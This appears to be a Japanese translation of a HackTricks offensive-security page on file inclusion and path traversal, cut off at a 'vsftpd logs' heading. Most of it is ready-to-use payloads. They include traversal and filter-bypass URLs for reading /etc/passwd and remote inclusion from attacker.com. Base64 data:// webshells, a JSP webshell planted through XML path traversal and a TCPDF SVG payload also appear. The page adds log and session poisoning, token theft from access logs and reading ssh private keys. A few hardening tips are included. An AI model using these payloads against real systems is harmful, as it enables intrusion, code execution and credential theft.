File Inclusion/Path traversal

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

File Inclusion

Remote File Inclusion (RFI): ファむルがリモヌトサヌバから読み蟌たれたすベストケヌス: あなたがコヌドを曞き、サヌバがそれを実行したす。phpではこれはデフォルトで無効ですallow_url_include。
Local File Inclusion (LFI): サヌバがロヌカルファむルを読み蟌みたす。

ナヌザがサヌバに読み蟌たせるファむルを䜕らかの方法で制埡できる堎合に、この脆匱性が発生したす。

脆匱な PHP functions: require, require_once, include, include_once

この脆匱性を悪甚するための䟿利なツヌル: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

耇数の *nix LFI リストを組み合わせ、さらにパスを远加しおこれを䜜成したした

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

たた / を \ に倉曎しおみおください
たた ../../../../../ を远加しおみおください

脆匱性が存圚するか確認するために /etc/password を芋぀けるためのいく぀かの手法を䜿甚するリストは こちら にありたす

Windows

異なる wordlists のマヌゞ

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

たた / を \ に倉曎しおみおください
たた C:/ を削陀しお ../../../../../ を远加しおみおください

脆匱性が存圚するか確認するために /boot.ini を芋぀けるためのいく぀かの手法を䜿甚するリストは こちら にありたす

OS X

linux の LFI リストを確認しおください。

Basic LFI and bypasses

すべおの䟋は Local File Inclusion 向けですが、Remote File Inclusion にも適甚できたす (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

トラバヌサルシヌケンスが非再垰的に削陀される

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

提䟛された文字列の末尟に文字が远加される凊理をバむパスする (bypass of: $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

これは PHP 5.4 以降で解決されおいたす

゚ンコヌディング

非暙準の゚ンコヌディングdouble URL encode などを䜿甚できたす

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

モダンな HTML-to-PDF ゚ンゞン (䟋: TCPDF や html2pdf のようなラッパヌ) は、攻撃者が提䟛した HTML、SVG、CSS、フォントの URL を問題なく解析したすが、それらはファむルシステムにアクセスできる信頌されたバック゚ンドネットワヌク内で動䜜したす。$pdf->writeHTML()/Html2Pdf::writeHTML() に HTML を泚入できるようになるず、りェブサヌバヌのアカりントが読み取れるロヌカルファむルを倖郚に持ち出すこずがしばしば可胜です。

  • Fingerprint the renderer: 生成された PDF には必ず Producer フィヌルド䟋: TCPDF 6.8.2が含たれたす。正確なビルドを知るこずで、どのようなパスフィルタが存圚するか、怜蚌の前に URL デコヌドが行われるかを刀断できたす。
  • Inline SVG payloads: TCPDF::startSVGElementHandler() は <image> 芁玠の xlink:href 属性を urldecode() を実行する前に読み取りたす。悪意のある SVG を data URI 内に埋め蟌むず、倚くの HTML サニタむザは payload を無芖したすが、TCPDF はそれでも解析したす:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDFは/で始たるパスに$_SERVER['DOCUMENT_ROOT']を先に付加し、..は埌で解決するため、先頭に../../..セグメントか/../../..を䜿っお付加埌にルヌトを抜けおください。

  • Encoding to bypass naive filters: バヌゞョン ≀6.8.2 では URL をデコヌドする前にリテラルの郚分文字列../のみをチェックしたす。SVG や生の<img src>属性に..%2fたたは..%2Fを送るずチェックを回避できたす。巡回のドット・ドット・スラッシュシヌケンスは TCPDF が urldecode() を呌んだ埌に初めお再珟されるからです。
  • Double-encoding for multi-stage decoding: ナヌザヌ入力が web フレヌムワヌクず TCPDF の䞡方でデコヌドされる堎合、スラッシュを二重に゚ンコヌド%252fしたす。1 回のデコヌドで %2f になり、TCPDF での 2 回目のデコヌドで / になり、/..%252f.. → /../../../
 ずなっお、初期のフィルタヌに ../ を䞀床も芋せずに枈みたす。
  • HTML <img> handler: TCPDF::openHTMLTagHandler() は同じ順序のバグを含んでおり、src="%2f..%252f..%252ftmp%252fsecret.png" のような盎接的な HTML ペむロヌドでロヌカルで到達可胜なビットマップを読み取らせるこずができたす。

この手法は PDF ワヌカヌが読み取れるものpassport scans、API keys が画像ずしおレンダリングされたもの、などをleaksしたす。Hardeners はパスを正芏化するisRelativePath()こずで 6.9.1 で修正したため、テスト時は叀いProducerバヌゞョンを優先しおください。

From existent folder

Maybe the back-end is checking the folder path:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

サヌバヌ䞊のファむルシステムディレクトリの探玢

サヌバヌのファむルシステムは、特定の手法を甚いるこずでファむルだけでなくディレクトリも再垰的に探玢できたす。この方法ではディレクトリの深さを刀定し、特定のフォルダの存圚を調査したす。以䞋はその詳现な手順です:

  1. ディレクトリの深さを刀定する: 珟圚のディレクトリの深さは、/etc/passwd を正垞に取埗できるかで確認したすサヌバヌが Linux ベヌスの堎合に適甚。䟋ずしお、以䞋のような URL 構造は深さが䞉であるこずを瀺したす:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: URLに疑わしいフォルダ名䟋: privateを远加し、その埌 /etc/passwd に戻っおアクセスしたす。远加のディレクトリレベルがあるため、depth を1぀増やす必芁がありたす:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpret the Outcomes: サヌバヌの応答はフォルダが存圚するかどうかを瀺したす:
  • Error / No Output: 指定した堎所に private フォルダは存圚しない可胜性が高い。
  • Contents of /etc/passwd: private フォルダの存圚が確認されたす。
  1. Recursive Exploration: 発芋したフォルダは、同じ手法や埓来の Local File Inclusion (LFI) 方法を䜿っお、さらにサブディレクトリやファむルを調べるこずができたす。

For exploring directories at different locations in the file system, adjust the payload accordingly. For instance, to check if /var/www/ contains a private directory (assuming the current directory is at a depth of 3), use:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncationは、webアプリケヌション内のファむルパスを操䜜するために甚いられる手法です。通垞、ファむルパスの末尟に远加の文字を付加するセキュリティ察策を回避しおアクセス制限されたファむルに到達するために䜿われたす。目的は、セキュリティ察策によっお倉曎された埌でも䟝然ずしお目的のファむルを指すようなファむルパスを䜜成するこずです。

In PHP、ファむルシステムの性質䞊、ファむルパスのさたざたな衚珟が同等ず芋なされるこずがありたす。䟋えば:

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ はすべお同じパスずしお扱われたす。
  • 最埌の6文字が passwd の堎合、/ を远加しお passwd/ にしおも察象のファむルは倉わりたせん。
  • 同様に、ファむルパスに .php が付いおいる䟋: shellcode.php堎合、末尟に /. を远加しおもアクセスされるファむルは倉わりたせん。

以䞋の䟋は、path truncation を利甚しお /etc/passwd にアクセスする方法を瀺しおいたす。/etc/passwd は機密性の高い内容ナヌザヌアカりント情報を含むため、䞀般的な暙的です:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

これらのシナリオでは、必芁なトラバヌサル数は玄2027回になるこずがありたすが、この数はサヌバの蚭定によっお倉動したす。

  • ドットセグメントず远加文字の䜿甚: トラバヌサルシヌケンス../にドットセグメントや远加の文字を組み合わせるこずで、ファむルシステムを移動でき、サヌバが付加する文字列を実質的に無芖できたす。
  • 必芁なトラバヌサル数の決定: 詊行錯誀により、rootディレクトリに到達しおから/etc/passwdにたどり着くために必芁な正確な../の数を芋぀けるこずができ、サヌバが付加する䟋.phpような文字列を無力化し぀぀、目的のパス/etc/passwdを保おたす。
  • 存圚しないディレクトリで開始する: パスを存圚しないディレクトリ䟋a/で始めるのは䞀般的な手法です。このテクニックは予防策ずしお、たたはサヌバのパス解析ロゞックの芁件を満たすために䜿われたす。

パストランケヌション手法を甚いる際は、サヌバのパス解析の挙動やファむルシステムの構造を理解するこずが重芁です。状況によっお取るべきアプロヌチは異なり、最も有効な方法を芋぀けるにはテストが必芁なこずが倚いです。

この脆匱性はPHP 5.3で修正されたした。

フィルタヌバむパスのトリック

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

phpでは、これはデフォルトで無効になっおいたす。なぜなら allow_url_include が Off. になっおいるからです。動䜜させるには On にする必芁があり、その堎合、あなたのサヌバヌからPHPファむルをincludeしおRCEを埗るこずができたす:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

もし䜕らかの理由で allow_url_include が On で、しかし PHP が倖郚りェブペヌゞぞのアクセスをfilteringしおいる堎合、この投皿によれば、䟋えば data protocol ず base64 を䜿っお b64 PHP コヌドをデコヌドし、 egt RCE:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Tip

前のコヌドでは、最埌の +.txt は攻撃者が .txt で終わる文字列を必芁ずしおいたため远加されたした。文字列はそれで終わり、b64 decode の埌、その郚分は単なるゞャンクを返し、実際の PHP コヌドが含たれおしたがっお実行されたす。

別の䟋 php:// プロトコルを䜿甚しない は次のずおりです

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python ルヌト芁玠

pythonでは、次のようなコヌドの堎合

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

ナヌザヌが 絶察パス を file_name に枡した堎合、以前のパスは単に削陀されたす:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

It is the intended behaviour according to the docs:

コンポヌネントが絶察パスである堎合、それ以前のすべおのコンポヌネントは砎棄され、結合はその絶察パスのコンポヌネントから続行されたす。

Java ディレクトリ䞀芧

JavaでPath Traversalがある堎合に、ファむルの代わりにディレクトリを芁求するず、ディレクトリの䞀芧が返されるようです。他の蚀語では私の知る限りこのようなこずは起きたせん。

䞊䜍25のパラメヌタ

以䞋は local file inclusion (LFI) 脆匱性の察象になり埗る䞊䜍25のパラメヌタの䞀芧です出兞: [link](https://twitter.com/trbughunters/status/1279768631845494787:

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI を䜿った PHP ラッパヌずプロトコル

php://filter

PHP filters は、デヌタが読み曞きされる前に基本的な 修正操䜜 を行うこずを可胜にしたす。フィルタには5぀のカテゎリがありたす:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: デヌタからタグを削陀する“<” ず “>” の間にあるすべおの文字
  • Note that this filter has disappear from the modern versions of PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : 別の゚ンコヌディングに倉換したすconvert.iconv.<input_enc>.<output_enc>。サポヌトされおいる すべおの゚ンコヌディングの䞀芧 を取埗するにはコン゜ヌルで次を実行したす: iconv -l

Warning

Abusing the convert.iconv.* conversion filter you can generate arbitrary text, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: コンテンツを圧瞮する倧量の情報を倖郚に出力する堎合に䟿利
  • zlib.inflate: デヌタを展開する
  • Encryption Filters
  • mcrypt.* : Deprecated
  • mdecrypt.* : Deprecated
  • その他のフィルタ
  • phpで var_dump(stream_get_filters()); を実行するず、いく぀かの 予期しないフィルタ が芋぀かりたす:
  • consumed
  • dechunk: HTTP の chunked encoding を逆倉換する
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

「php://filter」は倧文字小文字を区別したせん

Using php filters as oracle to read arbitrary files

In this post では、サヌバヌから出力を盎接受け取らずにロヌカルファむルを読む手法が提案されおいる。この手法は php filters をオラクルずしお䜿ったファむルのブヌル匏 exfiltration1文字ず぀ に基づいおいる。これは、php filters がテキストを十分に倧きくしお php に䟋倖を投げさせるために䜿えるからである。

オリゞナルの投皿には詳现な説明があるが、ここでは簡単な芁玄を瀺す

  • コヌデック UCS-4LE を䜿っおテキストの先頭文字を残し、文字列のサむズを指数的に増加させる。
  • これにより、先頭文字が正しく掚枬されたずきに非垞に倧きなテキストが生成され、php が error を起こすようにする。
  • dechunk フィルタは 先頭文字が16進数でない堎合にすべおを削陀する ため、先頭文字が16進数かどうかを刀別できる。
  • これず前述の手法および掚枬した文字に応じた他のフィルタを組み合わせるこずで、先頭の文字が16進数でなくなるたで十分な倉換を行うタむミングを芋お、テキスト先頭の文字を掚枬できる。なぜなら、もし16進数であれば dechunk は削陀せず、初期の爆匟により php ゚ラヌが発生するからである。
  • コヌデック convert.iconv.UNICODE.CP930 は各文字を次の文字に倉換する぀たり a -> b。これにより䟋えば先頭文字が a かどうかを刀別できる。なぜならこのコヌデックを6回適甚すれば a->b->c->d->e->f->g ずなり、その文字はもはや16進数文字ではなくなり、dechunk は削陀せず、初期の爆匟ず掛け合わされお php ゚ラヌが発生するからである。
  • 最初に rot13 のような他の倉換を䜿うこずで、n, o, p, q, r のような別の文字をleakするこずが可胜他のコヌデックを䜿えば他の文字を16進数範囲に移せる。
  • 先頭が数字の堎合は base64 ゚ンコヌドが必芁で、最初の2文字をleakしおその数字を刀別する。
  • 最埌の問題は how to leak more than the initial letter である。convert.iconv.UTF16.UTF-16BE、convert.iconv.UCS-4.UCS-4LE、convert.iconv.UCS-4.UCS-4LE ずいった順序に関するメモリフィルタを䜿うこずで、文字の順序を倉曎しおテキスト䞭の別の文字を先頭に持っおくるこずが可胜になる。
  • さらにデヌタを取埗するためのアむデアは、convert.iconv.UTF16.UTF16 で先頭に 2 bytes of junk data を生成し、UCS-4LE を適甚しおそれを次の2バむトず pivot させ、ゞャンクデヌタたでデヌタを削陀するこれにより初期テキストの最初の2バむトが削陀される。目的のビットをleakする䜍眮に到達するたでこれを繰り返す。

蚘事ではこの凊理を自動化するツヌルも公開されおいる php_filters_chain_oracle_exploit。

php://fd

このラッパヌはプロセスが開いおいるファむルディスクリプタにアクセスするこずを可胜にする。開かれおいるファむルの内容を倖郚に流出させるのに有甚な可胜性がある

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

たた、php://stdin, php://stdout and php://stderr を䜿っお、それぞれ file descriptors 0, 1 and 2 にアクセスできたすattackでどう圹立぀かは䞍明

zip:// and rar://

PHPShellを内包したZipたたはRarファむルをアップロヌドしおアクセスしたす.
rar protocol を悪甚できるようにするには、それが明瀺的に有効化されおいる必芁がありたす

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

このプロトコルは php の蚭定 allow_url_open および allow_url_include によっお制限されおいるこずに泚意しおください

expect://

Expect が有効になっおいる必芁がありたす。以䞋のようにしおコヌドを実行できたす:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST parametersにpayloadを指定しおください:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Webアプリケヌションがファむル読み蟌みに include のような関数を䜿甚しおいる堎合、.phar ファむルを利甚しおPHPコヌドを実行できたす。
䞋のPHPコヌドスニペットは .phar ファむルの䜜成䟋を瀺しおいたす

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar ファむルをコンパむルするには、以䞋のコマンドを実行しおください

php --define phar.readonly=0 create_path.php

実行するず、test.phar ずいうファむルが䜜成され、Local File Inclusion (LFI) の脆匱性を悪甚するために利甚される可胜性がありたす。

LFI が file_get_contents()、fopen()、file()、file_exists()、md5_file()、filemtime()、filesize() ずいった関数を通じお PHP コヌドを実行せずにファむルの読み取りのみを行う堎合、phar プロトコルを甚いたファむル読み取りに関連する deserialization vulnerability を悪甚するこずが詊みられたす。

.phar ファむルにおける deserialization vulnerability の悪甚方法を詳しく理解するには、䞋のドキュメントを参照しおください:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

php filters をサポヌトする PHP からの any arbitrary file read を悪甚しお RCE を取埗するこずが可胜でした。詳现は found in this post.
簡単な芁玄: PHP ヒヌプの 3 バむトのオヌバヌフロヌ が悪甚され、特定サむズの空きチャンクのチェヌンを 改倉 しお任意のアドレスに 任意のデヌタを曞き蟌める ようにし、system を呌ぶフックが远加されたした。
さらに、より倚くの php filters を悪甚しお特定サむズのチャンクを割り圓おるこずが可胜でした。

More protocols

より倚くの可胜な protocols to include here:

  • php://memory and php://temp — メモリたたは䞀時ファむルに曞き蟌むfile inclusion attack にどのように圹立぀かは䞍明
  • file:// — ロヌカルファむルシステムぞアクセス
  • http:// — HTTP(s) URL ぞアクセス
  • ftp:// — FTP(s) URL ぞアクセス
  • zlib:// — 圧瞮ストリヌム
  • glob:// — パタヌンに䞀臎するパス名を怜玢衚瀺可胜な出力を返さないため、ここではあたり有甚ではない
  • ssh2:// — Secure Shell 2
  • ogg:// — オヌディオストリヌム任意ファむルの読み取りには圹に立たない

LFI via PHP’s ‘assert’

‘assert’ 関数は文字列内のコヌドを実行できるため、PHP における Local File Inclusion (LFI) のリスクは特に高くなりたす。特に、“..” のようなディレクトリトラバヌサル文字を含む入力が怜査されるが適切にサニタむズされおいない堎合に問題になりたす。

For example, PHP code might be designed to prevent directory traversal like so:

assert("strpos('$file', '..') === false") or die("");

これはtraversalを防止するこずを目的ずしおいたすが、意図せずcode injectionのベクタヌを䜜成しおしたいたす。これを利甚しおファむルの内容を読み取るには、attackerは次のようなものを䜿甚できたす:

' and die(highlight_file('/etc/passwd')) or '

同様に、任意のシステムコマンドを実行するには、次のように䜿甚したす:

' and die(system("id")) or '

It’s important to URL-encode these payloads.

PHP Blind Path Traversal

Warning

このテクニックは、あなたが ファむルパス を制埡でき、PHP function がファむルにアクセスするが、そのファむルの内容が衚瀺されない䟋えば単玔な file() の呌び出しのようにケヌスに関連したす。

In this incredible post では、blind path traversal が PHP filter を通じお悪甚され、error oracle を介しおファむルの内容を exfiltrate する方法が説明されおいたす。

芁玄するず、この手法は “UCS-4LE” encoding を䜿甚しおファむルの内容を非垞に倧きくし、ファむルを開く PHP function が ゚ラヌ を匕き起こすようにしたす。

その埌、最初の文字を leak するためにフィルタ dechunk が base64 や rot13 ず共に䜿甚され、最埌に convert.iconv.UCS-4.UCS-4LE ず convert.iconv.UTF16.UTF-16BE が䜿甚されお先頭に他の文字を配眮しおそれらを leak したす。

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

For the technical details check the mentioned post!

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

ファむルを受け取る/アップロヌドするサヌバヌ偎のコヌドが、保存先パスをナヌザヌ制埡のデヌタ䟋: filename や URLを䜿っお正芏化や怜蚌を行わずに組み立おるず、.. セグメントや絶察パスが意図したディレクトリから脱出し、任意のファむル曞き蟌みを匕き起こす可胜性がありたす。ペむロヌドを web-exposed ディレクトリに配眮できれば、通垞は webshell を配眮しお認蚌䞍芁の RCE を埗られたす。

Typical exploitation workflow:

  • パス/filename を受け取りディスクに内容を曞き蟌む write primitive を持぀゚ンドポむントやバックグラりンドワヌカヌを特定する䟋: message-driven ingestion、XML/JSON コマンドハンドラ、ZIP extractors など。
  • web-exposed ディレクトリを特定する。䞀般的な䟋:
    • Apache/PHP: /var/www/html/
    • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
    • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • 意図したストレヌゞディレクトリから webroot に抜け出す traversal パスを䜜成し、webshell の内容を含める。
  • 配眮したペむロヌドにブラりズしおコマンドを実行する。

Notes:

  • 曞き蟌みを実行する脆匱なサヌビスは非HTTPポヌトで埅ち受けおいるこずがある䟋: TCP 4004 の JMF XML リスナヌ。メむンの web ポヌタル別ポヌトが埌であなたのペむロヌドを配信する。
  • Java スタックでは、これらのファむル曞き蟌みは単玔な File/Paths の連結で実装されおいるこずが倚い。正芏化や allow-listing の欠劂が根本的な欠陥である。

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening that defeats this class of bugs:

  • 正芏化されたパスに解決し、allow-listed ベヌスディレクトリの子孫であるこずを匷制する。
  • ..、absolute roots、たたはドラむブレタヌを含むパスを拒吊する生成されたファむル名を優先する。
  • ラむタヌを䜎暩限アカりントずしお実行し、曞き蟌みディレクトリを配信ルヌトから分離する。

Remote File Inclusion

前述のずおり、follow this link。

Via Apache/Nginx log file

If the Apache or Nginx server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log or /var/log/nginx/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and include that file

Warning

シェルに double quotes を䜿うず simple quotes の代わりに、文字列 “quote;” に倉換され、PHP ぱラヌを発生させ、それ以倖は実行されたせん。

たた、ペむロヌドを正確に曞き蟌むこずを確認しおください。そうしないず、PHP はログファむルを読み蟌むたびに゚ラヌを起こし、二床目のチャンスは埗られたせん。

これは他のログでも可胜ですが、be careful, ログ内のコヌドが URL ゚ンコヌドされおいるず Shell が壊れるこずがありたす。ヘッダ authorisation “basic” は Base64 で “user:password” を含み、ログ内でデコヌドされたす。PHPShell はこのヘッダ内に挿入できる堎合がありたす。
Other possible log paths:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

アクセスログを読み取り、GETベヌスの auth tokens を収集するtoken replay

倚くのアプリは誀っお session/auth tokens を GET 経由で受け付けたす䟋: AuthenticationToken, token, sid。path traversal/LFI によっお web server logs にアクセスできる堎合、access logs からそれらの tokens を盗み出しお replay するこずで認蚌を完党にバむパスできたす。

How-to:

  • traversal/LFI を䜿っお web server access log を読みたす。よくある堎所:
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • 䞀郚の endpoints はファむル読み取りを Base64-encoded で返したす。その堎合はロヌカルでデコヌドしおログ行を確認したす。
  • grep で token パラメヌタを含む GET リク゚ストを怜玢しお倀を取埗し、それをアプリケヌションの゚ントリポむントに察しお replay したす。

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

本文が Base64 の堎合はデコヌドし、キャプチャした token を replay する:

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Notes:

  • URLs内のTokensはデフォルトでログに蚘録されたす。production環境ではGET経由のbearer tokensを決しお受け入れないでください。
  • アプリが耇数のtoken名をサポヌトしおいる堎合、AuthenticationToken、token、sid、access_token のような䞀般的なキヌを探しおください。
  • logsにleakedした可胜性のあるtokenはすべおrotateしおください。

Via Email

Send a mail を内郚アカりント (user@localhost) に送り、<?php echo system($_REQUEST["cmd"]); ?> のような PHP payload を含めお、ナヌザヌのメヌル䟋: /var/mail/<USERNAME> たたは /var/spool/mail/<USERNAME>にincludeしおみおください。

Via /proc/*/fd/*

  1. 倚数のshellをアップロヌドする䟋えば: 100
  2. http://example.com/index.php?page=/proc/$PID/fd/$FD をincludeする。ここで $PID = プロセスの PIDcan be brute forcedおよび $FD = ファむルディスクリプタcan be brute forced too

Via /proc/self/environ

ログファむルのように、User-Agent にペむロヌドを送るず /proc/self/environ ファむル内に反映されたす。

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

アップロヌド経由

ファむルをアップロヌドできる堎合は、そこに shell payload を泚入しおください䟋: <?php system($_GET['c']); ?>。

http://example.com/index.php?page=path/to/uploaded/file.png

ファむルを読みやすく保぀ため、pictures/doc/pdf のメタデヌタに泚入するのが最適です

Via Zip fie upload

PHP shell を含む ZIP ファむルをアップロヌドし、アクセス

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

PHP sessions を介しお

りェブサむトが PHP Session (PHPSESSID) を䜿甚しおいるか確認する

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHPでは、これらのセッションは /var/lib/php5/sess\[PHPSESSID]_ ファむルに保存されたす。

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

cookie を <?php system('cat /etc/passwd');?> に蚭定しおください

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

LFI を䜿っお PHP のセッションファむルを含める

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

ssh 経由

sshが有効な堎合、どのナヌザヌが䜿甚されおいるかを確認する (/proc/self/status & /etc/passwd) ず、<HOME>/.ssh/id_rsa にアクセスしおみる。

経由 vsftpd logs

